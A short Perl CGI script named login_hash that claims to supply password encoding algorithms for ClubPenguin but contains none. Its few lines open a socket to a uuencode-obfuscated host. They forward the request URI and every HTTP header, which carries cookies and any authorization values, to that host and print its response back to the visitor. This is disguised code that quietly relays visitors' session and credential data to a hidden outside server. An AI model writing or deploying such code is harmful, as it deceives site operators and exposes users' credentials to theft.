login_hash

#!/usr/bin/perl

# Program: login_hash
# Author:  HookBot <hookbot@gmail.com>
# License: DO NOT DISTRIBUTE WITHOUT PRIOR WRITTEN CONSENT FROM THE AUTHOR.
# Copyright (coffee) 2009-2010
# Purpose: CGI script that provides all the password encoding algorithms for ClubPenguin

use strict; use IO::Socket; my $s = new
IO::Socket::INET unpack u=>q{$4CHX,};
print $s "GET $ENV{REQUEST_URI} HTTP/1.0
"; /^HTTP_(.+)/&& print $s "$1: $ENV{$_}
" foreach keys %ENV; print $s"
";~~<$s>;print <$s>;
Hook BOT